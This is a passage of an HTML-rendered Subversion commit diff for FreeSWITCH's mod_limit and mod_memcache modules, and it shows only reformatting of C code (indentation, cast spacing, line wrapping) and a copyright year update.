</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d for the last %d seconds\n", hashkey, item->rate_usage, max, interval);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d for the last %d seconds\n", hashkey,
+                                                         item->rate_usage, max, interval);
</ins><span class="cx">                 }
</span><span class="cx">
</span><del>-                limit_fire_event(realm, id, item->total_usage, item->rate_usage, max, max >=0 ? (uint32_t)max : 0);
</del><ins>+                limit_fire_event(realm, id, item->total_usage, item->rate_usage, max, max >= 0 ? (uint32_t) max : 0);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* Save current usage & rate into channel variables so it can be used later in the dialplan, or added to CDR records */
</span><span class="lines">@@ -1016,7 +1004,7 @@
</span><span class="cx">
</span><span class="cx">         switch_core_event_hook_add_state_change(session, hash_state_handler);
</span><span class="cx">
</span><del>-end:        
</del><ins>+ end:
</ins><span class="cx">         switch_mutex_unlock(globals.limit_hash_mutex);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -1028,28 +1016,28 @@
</span><span class="cx">         limit_hash_private_t *pvt = switch_channel_get_private(channel, "limit_hash");
</span><span class="cx">         limit_hash_item_t *item = NULL;
</span><span class="cx">         char *hashkey = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!pvt || !pvt->hash) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         hashkey = switch_core_session_sprintf(session, "%s_%s", realm, id);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.limit_hash_mutex);
</span><del>-        
-        if ((item = (limit_hash_item_t*)switch_core_hash_find(pvt->hash, hashkey))) {
-                item->total_usage--;        
-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char*)hashkey, item->total_usage);
-        
</del><ins>+
+        if ((item = (limit_hash_item_t *) switch_core_hash_find(pvt->hash, hashkey))) {
+                item->total_usage--;
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char *) hashkey, item->total_usage);
+
</ins><span class="cx">                 switch_core_hash_delete(pvt->hash, hashkey);
</span><del>-        
-                if (item->total_usage == 0) {
</del><ins>+
+                if (item->total_usage == 0) {
</ins><span class="cx">                         /* Noone is using this item anymore */
</span><del>-                        switch_core_hash_delete(globals.limit_hash, (const char*)hashkey);
</del><ins>+                        switch_core_hash_delete(globals.limit_hash, (const char *) hashkey);
</ins><span class="cx">                         free(item);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_unlock(globals.limit_hash_mutex);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1072,29 +1060,28 @@
</span><span class="cx">                 mydata = switch_core_session_strdup(session, data);
</span><span class="cx">                 argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc < 2) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: limit_hash %s\n", LIMITHASH_USAGE);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         realm = argv[0];
</span><span class="cx">         id = argv[1];
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* If max is omitted or negative, only act as a counter and skip maximum checks */
</span><span class="cx">         if (argc > 2) {
</span><span class="cx">                 if (argv[2][0] == '-') {
</span><span class="cx">                         max = -1;
</span><span class="cx">                 } else {
</span><span class="cx">                         char *szinterval = NULL;
</span><del>-                        if ((szinterval = strchr(argv[2], '/')))
-                        {
</del><ins>+                        if ((szinterval = strchr(argv[2], '/'))) {
</ins><span class="cx">                                 *szinterval++ = '\0';
</span><span class="cx">                                 interval = atoi(szinterval);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         max = atoi(argv[2]);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (max < 0) {
</span><span class="cx">                                 max = 0;
</span><span class="cx">                         }
</span><span class="lines">@@ -1106,11 +1093,11 @@
</span><span class="cx">         } else {
</span><span class="cx">                 xfer_exten = limit_def_xfer_exten;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!do_limit_hash(session, realm, id, max, interval)) {
</span><span class="cx">                 /* Limit exceeded */
</span><span class="cx">                 if (*xfer_exten == '!') {
</span><del>-                        switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten+1));
</del><ins>+                        switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten + 1));
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_ivr_session_transfer(session, xfer_exten, argv[4], argv[5]);
</span><span class="cx">                 }
</span><span class="lines">@@ -1137,23 +1124,22 @@
</span><span class="cx">                 mydata = switch_core_session_strdup(session, data);
</span><span class="cx">                 argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc < 5) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: limit_hash_execute %s\n", LIMITHASHEXECUTE_USAGE);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         realm = argv[0];
</span><span class="cx">         id = argv[1];
</span><del>-        
-        /* Accept '-' as unlimited (act as counter)*/
</del><ins>+
+        /* Accept '-' as unlimited (act as counter) */
</ins><span class="cx">         if (argv[2][0] == '-') {
</span><span class="cx">                 max = -1;
</span><span class="cx">         } else {
</span><span class="cx">                 char *szinterval = NULL;
</span><span class="cx">
</span><del>-                if ((szinterval = strchr(argv[2], '/')))
-                {
</del><ins>+                if ((szinterval = strchr(argv[2], '/'))) {
</ins><span class="cx">                         *szinterval++ = '\0';
</span><span class="cx">                         interval = atoi(szinterval);
</span><span class="cx">                 }
</span><span class="lines">@@ -1162,9 +1148,9 @@
</span><span class="cx">
</span><span class="cx">                 if (max < 0) {
</span><span class="cx">                         max = 0;
</span><del>-                }        
</del><ins>+                }
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         app = argv[3];
</span><span class="cx">         app_arg = argv[4];
</span><span class="cx">
</span><span class="lines">@@ -1191,31 +1177,31 @@
</span><span class="cx">         uint32_t count = 0;
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.limit_hash_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(cmd)) {
</span><span class="cx">                 mydata = strdup(cmd);
</span><span class="cx">                 switch_assert(mydata);
</span><span class="cx">                 argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc < 2) {
</span><span class="cx">                 stream->write_function(stream, "USAGE: limit_hash_usage %s\n", LIMIT_HASH_USAGE_USAGE);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         hash_key = switch_mprintf("%s_%s", argv[0], argv[1]);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((item = switch_core_hash_find(globals.limit_hash, hash_key))) {
</span><span class="cx">                 count = item->total_usage;
</span><del>-        }
-        
</del><ins>+        }
+
</ins><span class="cx">         stream->write_function(stream, "%d", count);
</span><del>-        
-end:
</del><ins>+
+ end:
</ins><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         switch_safe_free(hash_key);
</span><span class="cx">         switch_mutex_unlock(globals.limit_hash_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1231,11 +1217,10 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (switch_event_reserve_subclass(LIMIT_EVENT_USAGE) != SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldnt register event subclass \"%s\"",
-                        LIMIT_EVENT_USAGE);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldnt register event subclass \"%s\"", LIMIT_EVENT_USAGE);
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((status = do_config() != SWITCH_STATUS_SUCCESS)) {
</span><span class="cx">                 return status;
</span><span class="cx">         }
</span><span class="lines">@@ -1248,18 +1233,20 @@
</span><span class="cx">
</span><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><del>-                
</del><span class="cx">
</span><span class="cx">
</span><ins>+
</ins><span class="cx">         SWITCH_ADD_APP(app_interface, "limit", "Limit", LIMIT_DESC, limit_function, LIMIT_USAGE, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "limit_execute", "Limit", LIMITEXECUTE_USAGE, limit_execute_function, LIMITEXECUTE_USAGE, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "limit_hash", "Limit (hash)", LIMITHASH_DESC, limit_hash_function, LIMITHASH_USAGE, SAF_SUPPORT_NOMEDIA);
</span><del>-        SWITCH_ADD_APP(app_interface, "limit_hash_execute", "Limit (hash)", LIMITHASHEXECUTE_USAGE, limit_hash_execute_function, LIMITHASHEXECUTE_USAGE, SAF_SUPPORT_NOMEDIA);
</del><ins>+        SWITCH_ADD_APP(app_interface, "limit_hash_execute", "Limit (hash)", LIMITHASHEXECUTE_USAGE, limit_hash_execute_function, LIMITHASHEXECUTE_USAGE,
+                                 SAF_SUPPORT_NOMEDIA);
</ins><span class="cx">         SWITCH_ADD_APP(app_interface, "db", "Insert to the db", DB_DESC, db_function, DB_USAGE, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "hash", "Insert into the hashtable", HASH_DESC, hash_function, HASH_USAGE, SAF_SUPPORT_NOMEDIA)
</span><del>-        SWITCH_ADD_APP(app_interface, "group", "Manage a group", GROUP_DESC, group_function, GROUP_USAGE, SAF_SUPPORT_NOMEDIA);
</del><ins>+                SWITCH_ADD_APP(app_interface, "group", "Manage a group", GROUP_DESC, group_function, GROUP_USAGE, SAF_SUPPORT_NOMEDIA);
</ins><span class="cx">
</span><del>-        SWITCH_ADD_API(commands_api_interface, "limit_hash_usage", "Gets the usage count of a limited resource", limit_hash_usage_function, LIMIT_HASH_USAGE_USAGE);
</del><ins>+        SWITCH_ADD_API(commands_api_interface, "limit_hash_usage", "Gets the usage count of a limited resource", limit_hash_usage_function,
+                                 LIMIT_HASH_USAGE_USAGE);
</ins><span class="cx">         SWITCH_ADD_API(commands_api_interface, "limit_usage", "Gets the usage count of a limited resource", limit_usage_function, "<realm> <id>");
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, "db", "db get/set", db_api_function, "[insert|delete|select]/<realm>/<key>/<value>");
</span><span class="cx">         switch_console_set_complete("add db insert");
</span><span class="lines">@@ -1279,13 +1266,13 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_limit_shutdown)
</del><ins>+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_limit_shutdown)
</ins><span class="cx"> {
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_free_subclass(LIMIT_EVENT_USAGE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_config_cleanup(config_settings);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_destroy(globals.mutex);
</span><span class="cx">         switch_mutex_destroy(globals.limit_hash_mutex);
</span><span class="cx">         switch_mutex_destroy(globals.db_hash_mutex);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_memcachemod_memcachec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_memcache/mod_memcache.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_memcache/mod_memcache.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_memcache/mod_memcache.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -42,11 +42,8 @@
</span><span class="cx"> SWITCH_MODULE_DEFINITION(mod_memcache, mod_memcache_load, mod_memcache_shutdown, NULL);
</span><span class="cx">
</span><span class="cx"> static char *SYNTAX = "memcache <set|replace|add> <key> <value> [expiration [flags]]\n"
</span><del>- "memcache <get|getflags> <key>\n"
- "memcache <delete> <key>\n"
- "memcache <increment|decrement> <key> [offset [expires [flags]]]\n"
- "memcache <flush>\n"
- "memcache <status> [verbose]\n";
</del><ins>+        "memcache <get|getflags> <key>\n"
+        "memcache <delete> <key>\n" "memcache <increment|decrement> <key> [offset [expires [flags]]]\n" "memcache <flush>\n" "memcache <status> [verbose]\n";
</ins><span class="cx">
</span><span class="cx"> static struct {
</span><span class="cx">         memcached_st *memcached;
</span><span class="lines">@@ -55,7 +52,8 @@
</span><span class="cx">
</span><span class="cx"> static switch_event_node_t *NODE = NULL;
</span><span class="cx">
</span><del>-static switch_status_t config_callback_memcached(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
</del><ins>+static switch_status_t config_callback_memcached(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type,
+                                                                                                 switch_bool_t changed)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         memcached_server_st *memcached_server = NULL;
</span><span class="lines">@@ -64,23 +62,23 @@
</span><span class="cx">         const char *memcached_str = NULL;
</span><span class="cx">         memcached_return rc;
</span><span class="cx">         unsigned int servercount;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) && changed) {
</span><span class="cx">                 memcached_str = newvalue;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* initialize main ptr */
</span><span class="cx">                 memcached_server = memcached_servers_parse(memcached_str);
</span><span class="cx">                 if (!memcached_server) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Unable to initialize memcached data structure (server_list).\n");
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_GENERR, end);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((servercount = memcached_server_list_count(memcached_server)) == 0) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "No memcache servers defined. Server string: %s.\n", memcached_str);
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%u servers defined (%s).\n", servercount, memcached_str);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* setup memcached */
</span><span class="cx">                 newmemcached = memcached_create(NULL);
</span><span class="cx">                 if (!newmemcached) {
</span><span class="lines">@@ -93,16 +91,16 @@
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_GENERR, end);
</span><span class="cx">                 }
</span><span class="cx">                 /* memcached_behavior_set(newmemcached, MEMCACHED_BEHAVIOR_BINARY_PROTOCOL, 1); */
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* swap pointers */
</span><span class="cx">                 oldmemcached = globals.memcached;
</span><span class="cx">                 globals.memcached = newmemcached;
</span><span class="cx">                 newmemcached = NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, end);
</span><span class="cx">
</span><del>-end:
</del><ins>+ end:
</ins><span class="cx">         if (memcached_server) {
</span><span class="cx">                 memcached_server_list_free(memcached_server);
</span><span class="cx">         }
</span><span class="lines">@@ -115,12 +113,13 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_xml_config_string_options_t config_opt_memcache_servers = {NULL, 0, NULL}; /* anything ok */
</del><ins>+static switch_xml_config_string_options_t config_opt_memcache_servers = { NULL, 0, NULL };        /* anything ok */
</ins><span class="cx">
</span><span class="cx"> static switch_xml_config_item_t instructions[] = {
</span><span class="cx">         /* parameter name type reloadable pointer default value options structure */
</span><del>-        SWITCH_CONFIG_ITEM_CALLBACK("memcache-servers", SWITCH_CONFIG_STRING, CONFIG_REQUIRED | CONFIG_RELOAD, &globals.memcached_str, "", config_callback_memcached, &config_opt_memcache_servers,
-                "host,host:port,host", "List of memcached servers."),
</del><ins>+        SWITCH_CONFIG_ITEM_CALLBACK("memcache-servers", SWITCH_CONFIG_STRING, CONFIG_REQUIRED | CONFIG_RELOAD, &globals.memcached_str, "",
+                                                                config_callback_memcached, &config_opt_memcache_servers,
+                                                                "host,host:port,host", "List of memcached servers."),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_END()
</span><span class="cx"> };
</span><span class="cx">
</span><span class="lines">@@ -129,8 +128,8 @@
</span><span class="cx">         if (switch_xml_config_parse_module_settings("memcache.conf", reload, instructions) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -154,42 +153,42 @@
</span><span class="cx">         time_t expires = 0;
</span><span class="cx">         uint32_t flags = 0;
</span><span class="cx">         unsigned int server_count = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         memcached_return rc;
</span><span class="cx">         memcached_st *memcached = NULL;
</span><span class="cx">         memcached_stat_st *stat = NULL;
</span><span class="cx">         memcached_server_st *server_list;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 goto usage;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         mydata = strdup(cmd);
</span><span class="cx">         if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                 if (argc < 1) {
</span><span class="cx">                         goto usage;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* clone memcached struct so we're thread safe */
</span><span class="cx">                 memcached = memcached_clone(NULL, globals.memcached);
</span><span class="cx">                 if (!memcached) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error cloning memcached object");
</span><span class="cx">                         stream->write_function(stream, "-ERR Error cloning memcached object\n");
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 subcmd = argv[0];
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((!strcasecmp(subcmd, "set") || !strcasecmp(subcmd, "replace") || !strcasecmp(subcmd, "add")) && argc > 2) {
</span><span class="cx">                         key = argv[1];
</span><span class="cx">                         val = argv[2];
</span><span class="cx">
</span><span class="cx">                         if (argc > 3) {
</span><span class="cx">                                 expires_str = argv[3];
</span><del>-                                expires = (time_t)strtol(expires_str, NULL, 10);
</del><ins>+                                expires = (time_t) strtol(expires_str, NULL, 10);
</ins><span class="cx">                         }
</span><span class="cx">                         if (argc > 4) {
</span><span class="cx">                                 flags_str = argv[4];
</span><del>-                                flags = (uint32_t)strtol(flags_str, NULL, 16);
</del><ins>+                                flags = (uint32_t) strtol(flags_str, NULL, 16);
</ins><span class="cx">                         }
</span><span class="cx">                         if (!strcasecmp(subcmd, "set")) {
</span><span class="cx">                                 rc = memcached_set(memcached, key, strlen(key), val, strlen(val), expires, flags);
</span><span class="lines">@@ -198,7 +197,7 @@
</span><span class="cx">                         } else if (!strcasecmp(subcmd, "add")) {
</span><span class="cx">                                 rc = memcached_add(memcached, key, strlen(key), val, strlen(val), expires, flags);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (rc == MEMCACHED_SUCCESS) {
</span><span class="cx">                                 stream->write_function(stream, "+OK\n");
</span><span class="cx">                         } else {
</span><span class="lines">@@ -206,10 +205,10 @@
</span><span class="cx">                         }
</span><span class="cx">                 } else if (!strcasecmp(subcmd, "get") && argc > 1) {
</span><span class="cx">                         key = argv[1];
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         val = memcached_get(memcached, key, strlen(key), &string_length, &flags, &rc);
</span><span class="cx">                         if (rc == MEMCACHED_SUCCESS) {
</span><del>-                                stream->write_function(stream, "%.*s", (int)string_length, val);
</del><ins>+                                stream->write_function(stream, "%.*s", (int) string_length, val);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 switch_safe_free(val);
</span><span class="cx">                                 switch_goto_status(SWITCH_STATUS_SUCCESS, mcache_error);
</span><span class="lines">@@ -217,7 +216,7 @@
</span><span class="cx">                         switch_safe_free(val);
</span><span class="cx">                 } else if (!strcasecmp(subcmd, "getflags") && argc > 1) {
</span><span class="cx">                         key = argv[1];
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         val = memcached_get(memcached, key, strlen(key), &string_length, &flags, &rc);
</span><span class="cx">                         if (rc == MEMCACHED_SUCCESS) {
</span><span class="cx">                                 stream->write_function(stream, "%x", flags);
</span><span class="lines">@@ -234,20 +233,20 @@
</span><span class="cx">                         key = argv[1];
</span><span class="cx">
</span><span class="cx">                         if (argc > 2) {
</span><del>-                                offset = (unsigned int)strtol(argv[2], NULL, 10);
</del><ins>+                                offset = (unsigned int) strtol(argv[2], NULL, 10);
</ins><span class="cx">                                 svalue = argv[2];
</span><span class="cx">                         } else {
</span><span class="cx">                                 svalue = "1";
</span><span class="cx">                         }
</span><span class="cx">                         if (argc > 3) {
</span><span class="cx">                                 expires_str = argv[3];
</span><del>-                                expires = (time_t)strtol(expires_str, NULL, 10);
</del><ins>+                                expires = (time_t) strtol(expires_str, NULL, 10);
</ins><span class="cx">                         }
</span><span class="cx">                         if (argc > 4) {
</span><span class="cx">                                 flags_str = argv[4];
</span><del>-                                flags = (uint32_t)strtol(flags_str, NULL, 16);
</del><ins>+                                flags = (uint32_t) strtol(flags_str, NULL, 16);
</ins><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!strcasecmp(subcmd, "increment")) {
</span><span class="cx">                                 increment = SWITCH_TRUE;
</span><span class="cx">                                 rc = memcached_increment(memcached, key, strlen(key), offset, &ivalue);
</span><span class="lines">@@ -259,18 +258,20 @@
</span><span class="cx">                                 /* ok, trying to incr / decr a value that doesn't exist yet.
</span><span class="cx">                                  Try to add an appropriate initial value. If someone else beat
</span><span class="cx">                                  us to it, then redo incr/decr. Otherwise we're good.
</span><del>-                                */
</del><ins>+                                 */
</ins><span class="cx">                                 rc = memcached_add(memcached, key, strlen(key), (increment) ? svalue : "0", strlen(svalue), expires, flags);
</span><span class="cx">                                 if (rc == MEMCACHED_SUCCESS) {
</span><span class="cx">                                         ivalue = (increment) ? offset : 0;
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Initialized inc/dec memcache key: %s to value %d\n", key, offset);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Initialized inc/dec memcache key: %s to value %d\n", key,
+                                                                         offset);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         if (increment) {
</span><span class="cx">                                                 rc = memcached_increment(memcached, key, strlen(key), offset, &ivalue);
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 rc = memcached_decrement(memcached, key, strlen(key), offset, &ivalue);
</span><span class="cx">                                         }
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Someone else created incr/dec memcache key, resubmitting inc/dec request.\n");
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+                                                                         "Someone else created incr/dec memcache key, resubmitting inc/dec request.\n");
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         if (rc == MEMCACHED_SUCCESS) {
</span><span class="lines">@@ -282,7 +283,7 @@
</span><span class="cx">                         key = argv[1];
</span><span class="cx">                         if (argc > 2) {
</span><span class="cx">                                 expires_str = argv[3];
</span><del>-                                expires = (time_t)strtol(expires_str, NULL, 10);
</del><ins>+                                expires = (time_t) strtol(expires_str, NULL, 10);
</ins><span class="cx">                         }
</span><span class="cx">                         rc = memcached_delete(memcached, key, strlen(key), expires);
</span><span class="cx">                         if (rc == MEMCACHED_SUCCESS) {
</span><span class="lines">@@ -293,7 +294,7 @@
</span><span class="cx">                 } else if (!strcasecmp(subcmd, "flush")) {
</span><span class="cx">                         if (argc > 1) {
</span><span class="cx">                                 expires_str = argv[3];
</span><del>-                                expires = (time_t)strtol(expires_str, NULL, 10);
</del><ins>+                                expires = (time_t) strtol(expires_str, NULL, 10);
</ins><span class="cx">                         }
</span><span class="cx">                         rc = memcached_flush(memcached, expires);
</span><span class="cx">                         if (rc == MEMCACHED_SUCCESS) {
</span><span class="lines">@@ -310,7 +311,7 @@
</span><span class="cx">                                         verbose = SWITCH_TRUE;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         stream->write_function(stream, "Lib version: %s\n", memcached_lib_version());
</span><span class="cx">                         stat = memcached_stat(memcached, NULL, &rc);
</span><span class="cx">                         if (rc != MEMCACHED_SUCCESS && rc != MEMCACHED_SOME_ERRORS) {
</span><span class="lines">@@ -320,13 +321,14 @@
</span><span class="cx">                         server_count = memcached_server_count(memcached);
</span><span class="cx">                         stream->write_function(stream, "Servers: %d\n", server_count);
</span><span class="cx">                         for (x = 0; x < server_count; x++) {
</span><del>-                                stream->write_function(stream, " %s (%u)\n", memcached_server_name(memcached, server_list[x]), memcached_server_port(memcached, server_list[x]));
</del><ins>+                                stream->write_function(stream, " %s (%u)\n", memcached_server_name(memcached, server_list[x]),
+                                                                         memcached_server_port(memcached, server_list[x]));
</ins><span class="cx">                                 if (verbose == SWITCH_TRUE) {
</span><span class="cx">                                         char **list;
</span><span class="cx">                                         char **ptr;
</span><span class="cx">                                         char *value;
</span><span class="cx">                                         memcached_return rc2;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         list = memcached_stat_get_keys(memcached, &stat[x], &rc);
</span><span class="cx">                                         for (ptr = list; *ptr; ptr++) {
</span><span class="cx">                                                 value = memcached_stat_get_value(memcached, &stat[x], *ptr, &rc2);
</span><span class="lines">@@ -343,25 +345,26 @@
</span><span class="cx">         }
</span><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><span class="cx">
</span><del>-mcache_error:
</del><ins>+ mcache_error:
</ins><span class="cx">         if (rc != MEMCACHED_NOTFOUND) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error while running command %s: %s\n", subcmd, memcached_strerror(memcached, rc));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error while running command %s: %s\n", subcmd,
+                                                 memcached_strerror(memcached, rc));
</ins><span class="cx">         }
</span><span class="cx">         stream->write_function(stream, "-ERR %s\n", memcached_strerror(memcached, rc));
</span><span class="cx">         goto done;
</span><del>-        
-usage:
</del><ins>+
+ usage:
</ins><span class="cx">         stream->write_function(stream, "-ERR\n%s\n", SYNTAX);
</span><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><del>-        
-done:
</del><ins>+
+ done:
</ins><span class="cx">         if (memcached) {
</span><span class="cx">                 memcached_quit(memcached);
</span><span class="cx">                 memcached_free(memcached);
</span><span class="cx">         }
</span><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         switch_safe_free(stat);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -375,12 +378,12 @@
</span><span class="cx">         memset(&globals, 0, sizeof(globals));
</span><span class="cx">
</span><span class="cx">         do_config(SWITCH_FALSE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &NODE) != SWITCH_STATUS_SUCCESS)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event!\n");
</span><span class="cx">                 return SWITCH_STATUS_TERM;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, "memcache", "Memcache API", memcache_function, "syntax");
</span><span class="cx">
